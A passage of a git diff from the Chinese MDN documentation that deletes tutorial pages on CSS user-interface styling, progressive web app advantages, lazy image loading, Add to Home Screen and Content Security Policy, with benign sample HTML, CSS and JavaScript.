注意: 在 {{gecko("2.0")}} 中可获得的 :visited 选择器信息是有限的。更过细节请参照 Privacy and the :visited selector 。

+
+ +

 {{cssxref("cursor")}} 属性指定鼠标的形状:一些常见的形状如下表所示。把你的鼠标放在列表的选项上来看浏览器中实际显示的鼠标形状:

+ + + + + + + + + + + + + + + + + + + + + + + + +
SelectorSelects
pointer指示超链接
wait表明程序无法接受输入
progress表明程序正在运行,但是仍可以接受输入
default默认(通常是箭头)
+ +

 {{cssxref("outline")}} 属性通过创建轮廓来表明获得键盘焦点。只有在父元素使用 relative, fixed or absolute 时才有效。你可以为任何父元素指定 position: relative;因为它不会产生移动。
+ 它的作用相当于 {{cssxref("border")}} 属性,但与其不同的是它不能指明个别方向。

+ +

一些其他的用户界面特性通常会通过属性来应用。例如,禁用或者只读的元素可以设置 disabled 属性和 readonly 属性。选择器可以通过方括: {{mediawiki.external('disabled')}} 或者 {{mediawiki.external('readonly')}}来指定这些属性。

+ +
+
示例
+ +

这些规则规定了按钮在用户使用时动态变化的样式:

+ +
.green-button {
+  background-color:#cec;
+  color:#black;
+  border:2px outset #cec;
+  }
+
+.green-button[disabled] {
+  background-color:#cdc;
+  color:#777;
+  }
+
+.green-button:active {
+  border-style: inset;
+  } 
+ +

这个wiki不支持页面上的用户界面,所以这些按钮不能点击。下面用一些静态图片来举例说明:

+ + + + + + + +
+ + + + + + + + + + + + + + + + +
Click MeClick MeClick Me
 
disablednormalactive
+
+ +

当一个功能性按钮初始化的时候,它的周围会围绕着一条黑色的轮廓。当它获取键盘焦点时,从表面上看有一条虚线轮廓。同时当鼠标悬浮在它上面时也有一些悬浮效果。

+
+ +
+
更多
+ +

获取更多关于CSS用户界面的信息,请参考CSS规范中的 User interface 部分。

+ +

本文的第二部分列举了Mozilla的用户界面标签语言的例子,XUL。

+
+ +

实践: 打印文档

+ +
    +
  1. 创建一个新的HTML文档, doc4.html. 把下面的HTML代码粘贴过去: + +
    <!DOCTYPE html>
    +<html>
    +  <head>
    +    <title>Print sample</title>
    +    <link rel="stylesheet" href="style4.css">
    +  </head>
    +  <body>
    +    <h1>Section A</h1>
    +    <p>This is the first section...</p>
    +    <h1>Section B</h1>
    +    <p>This is the second section...</p>
    +    <div id="print-head">
    +      Heading for paged media
    +    </div>
    +    <div id="print-foot">
    +      Page:
    +    </div>
    +</body>
    +</html>
    +
    +
  2. +
  3. 创建一个新的样式表, style4.css. 把下面的HTML代码粘贴过去: +
    /*** Print sample ***/
    +
    +/* defaults  for screen */
    +#print-head,
    +#print-foot {
    +  display: none;
    +  }
    +
    +/* print only */
    +@media print {
    +
    +h1 {
    +  page-break-before: always;
    +  padding-top: 2em;
    +  }
    +
    +h1:first-child {
    +  page-break-before: avoid;
    +  counter-reset: page;
    +  }
    +
    +#print-head {
    +  display: block;
    +  position: fixed;
    +  top: 0pt;
    +  left:0pt;
    +  right: 0pt;
    +
    +  font-size: 200%;
    +  text-align: center;
    +  }
    +
    +#print-foot {
    +  display: block;
    +  position: fixed;
    +  bottom: 0pt;
    +  right: 0pt;
    +
    +  font-size: 200%;
    +  }
    +
    +#print-foot:after {
    +  content: counter(page);
    +  counter-increment: page;
    +  }
    +
    +} /* end print only */
    +
    +
  4. +
  5. 在浏览器中查看文档,你会看到它使用的是默认样式。
  6. +
  7. 打印(或者打印预览)文档;样式表的适配规则开始起作用,同时会显示每个页面的页眉和页脚,如果浏览器支持记数器,页码也会被显示出来。 + + + + + + + +
    + + + + + + +
    + + + + + + +
    +
    Heading for paged media
    + +
    Section A
    + +
    This is the first section...
    + +
    Page: 1
    +
    +
    +
    + + + + + + +
    + + + + + + +
    +
    Heading for paged media
    + +
    Section B
    + +
    This is the second section...
    + +
    Page: 2
    +
    +
    +
    +
  8. +
+ + + + + + + + +
挑战
把指定打印样式的规则转移到单独的CSS文件。 +

学习 {{CSSXref("@import")}} 了解如何将新的指定打印 CSS 文件引用到 style4.css 样式表里去。

+ +

当鼠标放在标题时,改变颜色为蓝色。

+
+ +

查看这些挑战的解决方案。

+ +

接下来?

+ +

如果你还是很难理解这个章节,或者你对它有一些意见或者建议,请在 讨论区 中不吝赐教。

+ +

目前,本文所有的样式规则都可以在文件里面规定。这些规则及其值均是固定的。下面的篇章将会描述该如何使用程序语言 JavaScript 来动态地改变规则。

diff --git "a/files/zh-cn/web/progressive_web_apps/\344\274\230\345\212\277/index.html" "b/files/zh-cn/web/progressive_web_apps/\344\274\230\345\212\277/index.html" deleted file mode 100644 index 809b1edb38..0000000000 --- "a/files/zh-cn/web/progressive_web_apps/\344\274\230\345\212\277/index.html" +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: 渐进式webApp优势 -slug: Web/Progressive_web_apps/优势 -translation_of: Web/Progressive_web_apps/Introduction#Advantages_of_web_applications -translation_of_original: Web/Progressive_web_apps/Advantages ---- -

以下是渐进式webApp所有的优势清单

- -

Discoverable

- -

The eventual aim is that web apps should have better representation in search engines, be easier to expose, catalog and rank, and have metadata usable by browsers to give them special capabilities.

- -

Some of the capabilities have already been enabled on certain web-based platforms by proprietary technologies like Open Graph, which provides a format for specifying similar metadata in the HTML <head> using meta tags.

- -

The relevant web standard here is the Web app manifest, which defines features of an app such as name, icon, splash screen, and theme colors in a JSON-formatted manifest file. This is for use in contexts such as app listings and device home screens.

- -
    -
- -

Installable

- -

A core part of the apps experience is for users to have app icons on their home screen, and be able to tap to open apps into their own native container that feels nicely integrated with the underlying platform.

- -

Modern web apps can have this native app feel via properties set inside the Web app manifest, and via a feature available in modern smartphone browsers called Add to home screen.

- -

Linkable

- -

One of the most powerful features of the Web is to be able to link to an app at a specific URL — no app store needed, no complex installation process. This is how it has always been.

- -

Network independent

- -

Modern web apps can work when the network is unreliable, or even non-existent. The basic ideas behind network independence are to be able to:

- -
    -
  • Revisit a site and get its contents even if no network is available.
  • -
  • Browse any kind of content the user has previously visited at least once, even under situations of poor connectivity.
  • -
  • Control what is shown to the user in situations where there is no connectivity.
  • -
- -

This is achieved by a combination of technologies — Service Workers to control page requests (for example storing them offline), the Cache API for storing responses to network requests offline (very useful for storing site assets), and client-side data storage technologies such as Web Storage and IndexedDB to store application data offline.

- -

Progressive

- -

Modern web apps can be developed to provide a super cool experience to fully capable browsers, and an acceptable (although not quite as shiny) experience to less capable browsers. We've been doing this for years with best practices such as progressive enhancement.

- -

Re-engageable

- -

One major advantage of native platforms is the ease with which users can be re-engaged by updates and new content, even when they aren't looking at the app or using their devices. Modern web apps can now do this too, using new technologies such as Service Workers for controlling pages, the Web Push API for sending updates straight from server to app via a service worker, and the Notifications API for generating system notifications to help engage users when they're not in the browser.

- -

Responsive

- -

Responsive web apps use technologies like media queries and viewport to make sure that their UIs will fit any form factor: desktop, mobile, tablet, or whatever comes next.

- -

Safe

- -

The web platform provides a secure delivery mechanism that prevents snooping and ensures content hasn’t been tampered with — as long as you take advantage of HTTPS and develop your apps with security in mind. In addition, you can verify the true nature of a PWA by confirming that it is at the correct URL, whereas apps in apps stores can often look like one thing, but be another (example).

- -

 

diff --git "a/files/zh-cn/web/progressive_web_apps/\345\212\240\350\275\275/index.html" "b/files/zh-cn/web/progressive_web_apps/\345\212\240\350\275\275/index.html" deleted file mode 100644 index 7f45a3c278..0000000000 --- "a/files/zh-cn/web/progressive_web_apps/\345\212\240\350\275\275/index.html" +++ /dev/null @@ -1,152 +0,0 @@ ---- -title: 渐进式加载 -slug: Web/Progressive_web_apps/加载 -tags: - - PWA - - 渐进式加载 -translation_of: Web/Progressive_web_apps/Loading ---- -
{{PreviousMenu("Web/Apps/Progressive/Re-engageable_Notifications_Push", "Web/Apps/Progressive")}}
- -

在前面的文章我们介绍了很多api,例如:Service Workers, Web Manifests, Notifications and Push,它让我们的示例应用 js13kPWA 成为一个渐进式web应用。在这篇文章里我们将会走得更远,我们会使用资源渐进式加载来提高整个应用的性能。

- -

首次有效渲染

- -

尽快把有效的信息输送给用户是一件非常重要的事情 —— 等待页面加载的时间越长,用户在页面加载完成之前离开的概率就越大。为了达到这个目的,网页加载完成前,我们应该用占位符在最终资源将会加载的地方展示最起码的视图骨架。

- -

这个功能可以用渐进式加载来实现 —— 它也被称为 懒加载。它的做法是延迟加载尽可能多的资源(HTML, CSS, JavaScript),只有在用户第一次使用到它的时候,它才会被立刻加载。

- -

打包还是拆分

- -

大部分的用户不会用到一个网站的所有页面,但我们通常的做法却是把我们所有的功能都打包进一个很大的文件里面。一个 bundle.js 文件的大小可能会有几个M,一个打包后的style.css 会包含一切东西,从CSS结构定义到各个版本的网站的样式:移动端,平板,桌面,打印等等。

- -

通常来说只加载一个打包后大的文件会比加载很多个小文件要快一些,但如果用户并不是一开始就需要所有的资源,我们就可以首先加载那些关键的资源,其他的等到我们需要的时候,我们再去加载它。

- -

导致页面阻塞的资源(Render-blocking resources)

- -

将所有文件打包是一种不好的做法,因为浏览器把计算结果渲染到屏幕之前,需要先把HTML,CSS和JavaScript下载下来。在页面被打开到页面加载完成的这段时间里,用户将会看到一个空白的页面,这无疑是一个非常糟糕的体验。

- -

为了解决这个问题,举个例子,我们可以在script标签上面加上一个 defer

- -
<script src="app.js" defer></script>
-
- -

他们会等到文档解析完成之后再开始下载和执行,所以他们不会阻塞HTML页面的渲染。我们还可以拆分css文件并给它们加上media属性:

- -
<link rel="stylesheet" href="style.css">
-<link rel="stylesheet" href="print.css" media="print">
-
- -

 这种做法告诉浏览器只有在条件满足的情况下才加载这些资源(例如指定了print,则在打印环境下才会加载这些资源,译者注)。

- -

在我们这个js13kPWA应用里面,由于CSS非常的简单,因此所有样式都被放到一个文件里面,并没有具体的规则来指导它如何加载css。但我们可以做得更好,例如把 style.css 里面的所有内容移动到一个 <style> 标签里面,并把它放到 index.html  的 <head> 的里面。这样做可以进一步提高应用的性能,但为了使代码更具可读性,我们并没有选择这么做。

- -

图片

- -

除了JavaScript和CSS,网站通常还会包含大量的图片。当你把{{htmlelement("img")}}元素添加到网站里面时,对应的所有图片资源都会在页面初始化时被下载下来。在网站就绪之前下载几个兆的图片资源是一种比较常见的状况,但它会再次给人一种性能不好的印象。我们并不需要在一打开网站的时候就以最高的画质呈现所有的图片。

- -

这是可以优化的。首先,你可以使用类似TinyPNG这类工具或者服务,它可以在不过分降低画质的情况下压缩文件的大小。如果你已经做到了这一点,那你可以考虑一下如何通过JavaScript来优化图片的下载了,我们将会在下面的篇幅提到这些内容。

- -

图片占位符

- -

我们可以通过使用JavaScript有选择的加载图片,而不是把所有的游戏截图都放到 <img> 标签的 src 属性里面,因为那样浏览器会自动下载所有的图片。 js13kPWA示例在图片最终加载之前会将图片的最终路径存放到 data-src 中,在这个阶段,应用会使用图片占位符来代替真正的图片,它体积更小更轻量级(加载也更快,译者注)。

- -
<img src='data/img/placeholder.png' data-src='data/img/SLUG.jpg' alt='NAME'>
-
- -

这些图片会在网站构建完HTML主体框架之后通过JavaScript进行加载。图片占位符被缩放到和真正的图片一样大小,所以它会占据同样的空间,并且在真正的图片完成加载后不会导致页面重绘。

- -

通过JavaScript进行加载

- -

app.js 这个文件处理 data-src 属性的过程如下所示:

- -
let imagesToLoad = document.querySelectorAll('img[data-src]');
-const loadImages = (image) => {
-  image.setAttribute('src', image.getAttribute('data-src'));
-  image.onload = () => {
-    image.removeAttribute('data-src');
-  };
-};
- -

当函数 loadImages 把地址从  data-src 移动到 src 上时,  imagesToLoad 变量包含了所有图片的链接。当每个图片都已经加载完成时,我们会把data-src 属性移除掉,因为这个时候已经没有任何用处了。我们对遍历了所有的图片来加载这些图片:

- -
imagesToLoad.forEach((img) => {
-  loadImages(img);
-});
- -

用CSS制造模糊

- -

为了让整个过程在视觉上更加吸引人,图片占位符的样式用CSS做了模糊处理.

- -

Screenshot of placeholder images in the js13kPWA app.

- -

我们在开始时用模糊来渲染图像,因此可以实现一个从模糊到清晰图像的过渡效果:

- -
article img[data-src] {
-  filter: blur(0.2em);
-}
-
-article img {
-  filter: blur(0em);
-  transition: filter 0.5s;
-}
- -

这个样式会在半秒钟内移除模糊效果,它会让“加载”效果看起来更好看:

- -

按需加载

- -

上面讨论的图片加载机制工作得还不错——它在HTML文档加载完成之后再开始加载图片,并且在加载过程中还提供了一个很漂亮的过度效果。问题是它仍然一次性加载了所有的图片,即使网站加载完成后用户有可能只看前两张或者三张图片。

- -

这个问题可以用新的 Intersection Observer API 来解决 —— 通过这个api我们可以确保只有当图片出现在可见区域时,它才会被加载。

- -

Intersection Observer

- -

这是对上面那个可以正常工作的例子提供的一个渐进增强功能 —— Intersection Observer 只有在用户向下滚动页面并且显示在屏幕上时,才会开始加载目标图片。

- -

这里有相关的代码展示:

- -
if('IntersectionObserver' in window) {
-  const observer = new IntersectionObserver((items, observer) => {
-    items.forEach((item) => {
-      if(item.isIntersecting) {
-        loadImages(item.target);
-        observer.unobserve(item.target);
-      }
-    });
-  });
-  imagesToLoad.forEach((img) => {
-    observer.observe(img);
-  });
-} else {
-  imagesToLoad.forEach((img) => {
-    loadImages(img);
-  });
-}
- -

如果 {{domxref("IntersectionObserver")}}对象被浏览器所支持,app会对它新建一个实例。当一个或多个item(指的是监听的对象,例如一个img,译者注)跟观察者发生交互时(图片出现在视图中时),作为参数传递的函数可以用来处理一些回调事务(例如图片加载,译者注)。我们可以对每一个项目做一个迭代并对它们做出相应的处理——当图片可见时,我们开始加载真正的图片并且停止监听这张图片,因为图片加载完成之后,我们已经没有很必要再知道它的状态了。

- -

让我们来重申一下我们之前提到的渐进增强 —— 代码这么写的好处在于,不管 Intersection Observer是否被当前浏览器支持,app都能够正常的工作。如果 Intersection Observer不被支持,我们会用上面提到的基础方法来实现图片的加载。

- -

一些改进

- -

记住,有很多的方法可以用来优化我们的加载时间,这个示例只探讨了其中的一种方法。你可以尝试让你的app变的更加健壮,通过让它在没有JavaScript的情况下也能工作 —— 通过使用 {{htmlelement("noscript")}} 标签来展示已经分配了最终 src 路径的图片,或者在 <img> 外面套上一个 {{htmlelement("a")}} 标签并指向对应的图片资源,当用户想要想要看的时候他们可以点击图片并访问他们。

- -

我们并没有这么做因为这个app本身依赖于JavaScript —— 没有JavaScript游戏列表就无法加载,Service Worker相关的代码也将无法执行。

- -

我们可以重写整个加载过程,让它不止加载图片,而是加载整个列表项,包括详细介绍和链接。工作起来它像一个无限滚动的页面——当用户往下滚动的时候开始加载新的项目。通过这个方法HTML页面体积会达到最小,加载时间可以更短,我们也可以从中获取到更大的性能优势。

- -

结论

- -

初始化时加载更少的文件,分拆成更小的模块,使用占位符以及按需加载更多的内容 —— 这会让我们获得更短的首次加载时间,它既能让app开发者受益,也能给用户提供更加丝滑的体验。

- -

记住关于渐进增强的内容 —— 不管在任何硬件或平台都提供一个可用的产品,但在现代浏览器上面确保能提供更好的用户体验。

- -

最后的思考

- -

这就是这个系列的所有内容了 —— 我们通过  js13kPWA 示例应用的源码 学习了渐进式web 应用的的用法,包括了PWA介绍, PWA 结构, 通过Service Workers让PWA离线工作, 让PWA易于安装,以及最后的通知功能。在Service Worker Cookbook的帮助下我们还解释了推送的原理。而在本篇文章中,我们探讨了渐进式加载的概念,包括一个使用了 Intersection Observer API的有趣例子。

- -

请随意试验这些代码,通过使用PWA的特性来让你现有的应用更加健壮,或者自己创建一些全新的东西。相对于常规的web应用,PWA存在巨大的优势。

- -

{{PreviousMenu("Web/Apps/Progressive/Re-engageable_Notifications_Push", "Web/Apps/Progressive")}}

- -

{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}

diff --git "a/files/zh-cn/web/progressive_web_apps/\346\267\273\345\212\240\345\210\260\344\270\273\345\261\217\345\271\225/index.html" "b/files/zh-cn/web/progressive_web_apps/\346\267\273\345\212\240\345\210\260\344\270\273\345\261\217\345\271\225/index.html" deleted file mode 100644 index a0915ea9d2..0000000000 --- "a/files/zh-cn/web/progressive_web_apps/\346\267\273\345\212\240\345\210\260\344\270\273\345\261\217\345\271\225/index.html" +++ /dev/null @@ -1,218 +0,0 @@ ---- -title: 添加到主屏幕 -slug: Web/Progressive_web_apps/添加到主屏幕 -tags: - - PWA - - 图标 - - 服务进程 - - 添加到主屏幕 - - 清单 - - 渐进式Web应用 -translation_of: Web/Progressive_web_apps/Add_to_home_screen ---- -

添加到主屏幕(A2HS)添加到主屏幕(简称A2HS)是现代智能手机浏览器中的一项功能,使开发人员可以轻松便捷地将自己喜欢的Web应用程序(或网站)的快捷方式添加到主屏幕中,以便他们随后可以通过单点访问它。本指南说明了A2HS的使用方式,以及作为开发人员要使您的用户利用A2HS所需做的事情。

- -

为什么选择A2HS?

- -

A2HS被认为是渐进式Web应用程序哲学的一部分—为Web应用程序提供与原生应用程序相同的用户体验优势,因此它们可以在当今的生态系统战争中竞争。这部分是通过访问主屏幕上的应用程序图标来访问应用程序,然后将其整齐地显示在自己的窗口中的简单手势。A2HS使这成为可能。

- -

哪些浏览器支持A2HS?

- -

Mobile Chrome / Android Webview 从31版开始支持A2HS,Opera for Android从32版开始支持,Firefox for Android从58版开始支持。

- -

如何使用?

- -

我们已经编写了一个非常简单的示例网站(观看我们的在线演示,并查看源代码),该网站虽然功能不多,但是开发时使用了必要的代码,也可以将其添加到主屏幕中,并且service worker使其可以脱机使用。这个示例展示了一系列的狐狸图片。

- -

如果您有适用于Android的Firefox,使用它导航到我们的示例:https://mdn.github.io/pwa-examples/a2hs/。你将会看到狐狸图片,但更重要的是,你将会看到一个带有加号(+)的“主页”图标—这是为具有必要功能的任何站点显示的“添加到主屏幕”图标。

- -

- -

点击此按钮将显示一个确认横幅—按下大“+ 添加到主屏幕”按钮即可完成操作,将应用添加到主屏幕。(注意:在Android 8及更高版本中,将首先显示系统级的“添加到主屏幕”权限对话框。)

- -

- -

如果您可以使用Mobile Chrome,则体验会略有不同;加载我们的网站后,您会看到一个弹出安装横幅,询问您是否要将此应用添加到主屏幕。

- -

- -
-

注意:您可以在“Web App安装横幅”一文中找到有关Chrome安装横幅的更多信息。

-
- -

如果您选择不将其添加到主屏幕,则可以稍后使用Chrome主菜单中的添加到主屏幕图标添加。

- -

无论使用哪种浏览器,当您选择将应用程序添加到主屏幕时,您都会看到它与短标题一起出现,就像原生应用程序一样。

- -

- -

点按此图标可以将其打开,但是作为全屏应用程序,您将不再看到其周围的浏览器用户界面。

- -

如何使应用程序支持A2HS?

- -

要将您的应用添加到主屏幕,它需要满足以下条件:

- -
    -
  • 应用通过HTTPs提供服务—Web正朝着更加安全的方向发展,许多现代web技术(包括A2HS)将仅工作在安全的环境中。
  • -
  • 从HTML头链接具有正确字段的manifest文件。
  • -
  • 有合适的图标可显示在主屏幕上。
  • -
  • Chrome浏览器还要求该应用程序注册一个service worker(例如,使其在离线状态下可以运行)。
  • -
- -

Manifest

- -

web manifest 以标准JSON格式编写,应放置在应用程序目录中的某个位置(最好是在根目录中),名称为somefilename.webmanifest(我们选择 manifest.webmanifest)。它包含多个字段,这些字段定义有关Web应用程序及其行为的某些信息。

- -
-

注意:.webmanifest扩展名是在规范的“媒体类型注册”部分中指定的,但通常浏览器将支持带有其他适当扩展名的清单,例如:.json。

-
- -

A2HS所需的字段如下:

- -
    -
  • background_color:指定在某些应用程序上下文中使用的背景色。与A2HS最相关的一个是在点击主屏幕上的应用程序图标并首次开始加载时显示的初始屏幕(当前仅在通过Chrome将应用添加到主屏幕时显示)。
  • -
  • display:指定应如何显示应用。 为了使它看起来像一个独特的应用程序(而不仅仅是网页),您应该选择一个值,例如fullscreen(根本不显示任何UI)或独立standalone(非常相似,但是系统级UI元素(例如状态栏)可能是可见的)。
  • -
  • icons:指定在不同位置(例如,在任务切换器上或更重要的是在主屏幕上)表示应用程序时浏览器使用的图标。 我们的演示中仅包含一个。
  • -
  • name/short_name:这些字段提供了在不同位置表示应用程序时要显示的应用程序名称。name提供完整的应用名称。short_name当没有足够的空间显示全名时,提供一个缩写名称。如果您的应用程序名称特别长,建议您同时提供两者。
  • -
  • start_url:提供启动添加到主屏幕应用程序时应加载的资源的路径。请注意,这必须是一个真相网站主页的相对路径,相对于 manifest的url。 另外,请注意,Chrome在显示安装标语之前需要这样做,而Firefox在显示“含+号的home”图标时并不需要它。
  • -
- -

我们的示例应用程序的manifest如下所示:

- -
{
-  "background_color": "purple",
-  "description": "Shows random fox pictures. Hey, at least it isn't cats.",
-  "display": "fullscreen",
-  "icons": [
-    {
-      "src": "icon/fox-icon.png",
-      "sizes": "192x192",
-      "type": "image/png"
-    }
-  ],
-  "name": "Awesome fox pictures",
-  "short_name": "Foxes",
-  "start_url": "/pwa-examples/a2hs/index.html"
-}
- -

合适的图标

- -

如以上manifest所示,我们包括一个192 x 192像素的图标,供我们的应用使用。您可以根据需要添加更多尺寸;Android将为每个不同的用例选择最合适的尺寸。您还可以决定添加不同类型的图标,以便设备可以使用他们能够使用的最佳图标(例如,Chrome已经支持WebP格式).

- -

请注意,每个图标对象中的 type 成员都指定了该图标的mimetype,因此浏览器可以快速读取该图标的类型,然后将其忽略,并在不支持该图标时采用其他图标。

- -

在设计图标方面,您应该遵循与任何Android图标相同的最佳做法(请参阅Android图标设计指南)。

- -

将HTML链接到manifest

- -

要完成manifest的设置,您需要从应用程序主页的 HTML 中引用它:

- -
<link rel="manifest" href="manifest.webmanifest">
- -

一旦支持 manifest,支持 A2HS 的浏览器就会知道在哪里查找它。

- -

A2HS没有给你什么?

- -

请记住,将应用程序添加到主屏幕时,它只会使该应用程序易于访问—不会将应用程序的资产和数据下载到您的设备上,也不会使该应用程序脱机使用或类似的操作。 为了使你的应用离线运行,你必须使用Service Worker API来离线存储资源,如果需要,还可以使用 Web storage 或 IndexedDB 来存储其数据。

- -

在示例应用程序中,我们仅使用了一个service worker来存储所有必需的文件。service worker使用index.js 文件中的最终的代码块在网站上注册。然后,我们使用 Cache API 缓存网站的所有资产,并使用 sw.js 文件中的代码从缓存而不是网络中为它们提供服务。

- -

桌面上的A2HS

- -

虽然最初旨在改善移动操作系统上的用户体验,但人们也提出了使PWA也可以安装在桌面平台上的趋势。

- -
-

注意:在撰写本文时,仅在较新版本的Chrome(在Windows中默认情况下,在macOS上的#enable-desktop-pwas标志开启后)中支持以下功能。

-
- -

添加安装按钮

- -

为了使PWA可在桌面上安装,我们首先在文档中添加了一个按钮,以允许用户进行安装—桌面应用程序不会自动提供此按钮,并且需要通过用户手势来触发安装:

- -
<button class="add-button">Add to home screen</button>
- -

然后,我们给它一些简单的样式:

- -
.add-button {
-  position: absolute;
-  top: 1px;
-  left: 1px;
-}
- -

用于处理安装的JavaScript

- -

index.js文件的底部,我们添加了一些JavaScript来处理安装。首先,我们声明一个deferredPrompt变量(我们将在后面解释),获得对安装按钮的引用,并初始设置为display: none

- -
let deferredPrompt;
-const addBtn = document.querySelector('.add-button');
-addBtn.style.display = 'none';
- -

我们最初隐藏该按钮是因为PWA必须遵循A2HS标准才能安装。发生这种情况时,支持的浏览器将触发beforeinstallprompt事件。 然后,我们可以使用以下处理程序来处理安装:

- -
window.addEventListener('beforeinstallprompt', (e) => {
-  // Prevent Chrome 67 and earlier from automatically showing the prompt
-  e.preventDefault();
-  // Stash the event so it can be triggered later.
-  deferredPrompt = e;
-  // Update UI to notify the user they can add to home screen
-  addBtn.style.display = 'block';
-
-  addBtn.addEventListener('click', (e) => {
-    // hide our user interface that shows our A2HS button
-    addBtn.style.display = 'none';
-    // Show the prompt
-    deferredPrompt.prompt();
-    // Wait for the user to respond to the prompt
-    deferredPrompt.userChoice.then((choiceResult) => {
-        if (choiceResult.outcome === 'accepted') {
-          console.log('User accepted the A2HS prompt');
-        } else {
-          console.log('User dismissed the A2HS prompt');
-        }
-        deferredPrompt = null;
-      });
-  });
-});
- -

所以我们在这里:

- -
    -
  • 调用{{domxref("Event.preventDefault()")}}以停止Chrome 67及更早版本自动调用安装提示(此行为在Chrome 68中已更改)。
  • -
  • 将事件对象存储在deferredPrompt变量中,以便以后可以用于执行实际安装。
  • -
  • 将按钮设置为display: block,以便它出现在UI中供用户点击。
  • -
  • 设置按钮的click处理程序。
  • -
- -

点击处理程序包含以下步骤:

- -
    -
  • 通过display: none再次隐藏按钮—安装应用程序后将不再需要它。
  • -
  • 使用beforeinstallprompt事件对象(存储在deferredPrompt中)上可用的prompt()方法触发显示安装提示。
  • -
  • 使用userChoice属性响应用户与提示的交互,该属性再次在beforeinstallprompt事件对象上可用。
  • -
  • deferredPrompt设置为null,因为不再需要它。
  • -
- -

So when the button is clicked, the install prompt appears.

- -

- -

如果用户选择安装,则将安装该应用程序(可作为独立的桌面应用程序使用),并且不再显示“安装”按钮(如果已经安装了该应用程序,则将不再触发onbeforeinstallprompt事件)。当您打开应用程序时,它将显示在其自己的窗口中:

- -

- -

如果用户选择“取消”,则应用程序的状态将返回到单击按钮之前的状态。

- -
-

注意:本部分的代码主要来自Pete LaPage的应用安装横幅/添加到主屏幕

-
- -

其他

- - - -
{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}
diff --git a/files/zh-cn/web/security/csp/index.html b/files/zh-cn/web/security/csp/index.html deleted file mode 100644 index 232b502c3f..0000000000 --- a/files/zh-cn/web/security/csp/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: 内容安全策略 (CSP) -slug: Web/Security/CSP -translation_of: Web/HTTP/CSP -translation_of_original: Web/Security/CSP ---- -
{{gecko_minversion_header("2.0")}}
- -

内容安全策略 (CSP, Content Security Policy) 是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,包括跨站脚本 (XSS) 和数据注入等攻击。 这些攻击可用于实现从数据窃取到网站破坏或作为恶意软件分发版本等用途。

- -

尽管内容安全策略在 Firefox 4 中已经包含,使用 X-Content-Security-Policy 头部来实现,但它使用的是过时的 CSP 标准。Firefox 23 包含了更新的 CSP 实现,使用的是 W3C CSP 1.0 标准中描述的没有前缀的 Content-Security-Policy 头部和指令。

- -

内容安全策略主题

- -
-
介绍内容安全策略
-
概述什么是 CSP,以及它如何让你的网站变得更安全。
-
CSP 策略指令
-
CSP 策略指令参考。
-
使用内容安全策略
-
你可以通过配置策略集调整 CSP 的行为。这让你可以按需对个别类型的资源使用宽松或严格的安全策略。这篇文章讲述了如何建立 CSP 和如何激活你网站的 CSP。
-
使用 CSP 违规报告
-
如何使用 CSP 违规报告来监视攻击你网站的尝试和攻击者。
-
默认 CSP 限制 {{obsolete_inline("15.0")}}
-
CSP 强制实施的默认限制的细节
-
- -

另请参阅

- - diff --git a/files/zh-cn/web/security/csp/introducing_content_security_policy/index.html b/files/zh-cn/web/security/csp/introducing_content_security_policy/index.html deleted file mode 100644 index ce27f52be4..0000000000 --- a/files/zh-cn/web/security/csp/introducing_content_security_policy/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: 内容安全策略介绍 -slug: Web/Security/CSP/Introducing_Content_Security_Policy -tags: - - 介绍 - - 内容安全策略 - - 安全 -translation_of: Web/HTTP/CSP -translation_of_original: Web/Security/CSP/Introducing_Content_Security_Policy ---- -

{{ gecko_minversion_header("2") }}

- -

内容安全策略 (CSP)  是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,包括跨站脚本 (XSS) 和数据注入等攻击。 这些攻击可用于实现从数据窃取到网站破坏或作为恶意软件分发版本等用途。

- -

CSP被设计成向后兼容;不支持的浏览器依然可以运行使用了它的服务器页面,反之亦然。不支持CSP的浏览器会忽略它,像平常一样运行,默认对网页内容使用标准的同源策略。如果网站不提供CSP头部,浏览器同样会使用标准的同源策略

- -

开启CSP就如配置您的页面服务来返回Content-Security-Policy HTTP 头部一样简单. (Firefox 23之前的版本使用的是X-Content-Security-Policy ). 查看 Using Content Security Policy 获取如何配置和开启CSP的细节

- -
提示: 内容安全策略标准特点 是一种能被 {{ HTMLElement("meta") }}元素来配置的一种协议,但这种做法仍未被Firefox支持, 支持这种做法是被添加在bug 663570.
- -

减少跨域脚本

- -

CSP的主要目标是减少和报告XSS攻击. XSS攻击利用浏览器对从服务器接受的内容的信任。恶意的脚本在受害的浏览器被执行, 因为浏览器相信内容源,甚至当内容源并不是从它应该来的地方过来的。

- -

CSP使服务器管理员能够通过制定浏览器能够执行的可信赖脚本的域名来减少或者消除由XSS可能出现的矢量。 一个兼容CSP的浏览器将只会执行加载与白名单域名的源文件的脚本,忽略那些其他的脚本(包括内联脚本和事件操控HTML属性)

- -

作为一种最终的保护,想要禁止脚本的站点可以选择全局禁止脚本执行

- -

减少数据包监听攻击

- -

为了重新约束内容被下载的域名, 服务端能够制定那种协议能够被使用;例如(理论上,从安全的立足点来看),一个服务制定所有的内容都通过HTTPS协议来加载

- -
提示:一个完整地数据传输安全策略不单单包括通HTTPS加强数据的传输,还可以使所有cookie带上安全标志并且提供从HTTP页面到对应HTTPS页面的自动重定向。
- -
提示:站点可能也会使用 Strict-Transport-Security HTTP头部来确保浏览器只通过一个加密渠道来连接他们
- -

See also

- - - -

Specification

- -
    -
  • {{ spec("https://dvcs.w3.org/hg/content-security-policy/raw-file/tip/latest.html", "Content Security Policy 1.1 (Editor's Draft)") }}
  • -
  • {{ spec("http://www.w3.org/TR/CSP/", "Content Security Policy 1.0 (Candidate Recommendation)") }}
  • -
- -
-

{{ languages( { "ja": "ja/Introducing_Content_Security_Policy" } ) }}

-
- -

 

diff --git a/files/zh-cn/web/security/csp/using_csp_violation_reports/index.html b/files/zh-cn/web/security/csp/using_csp_violation_reports/index.html deleted file mode 100644 index 2577fa1fde..0000000000 --- a/files/zh-cn/web/security/csp/using_csp_violation_reports/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Using CSP violation reports -slug: Web/Security/CSP/Using_CSP_violation_reports -translation_of: Web/HTTP/CSP -translation_of_original: Web/Security/CSP/Using_CSP_violation_reports ---- -

{{ gecko_minversion_header("2.0") }}{{ draft() }}

- -

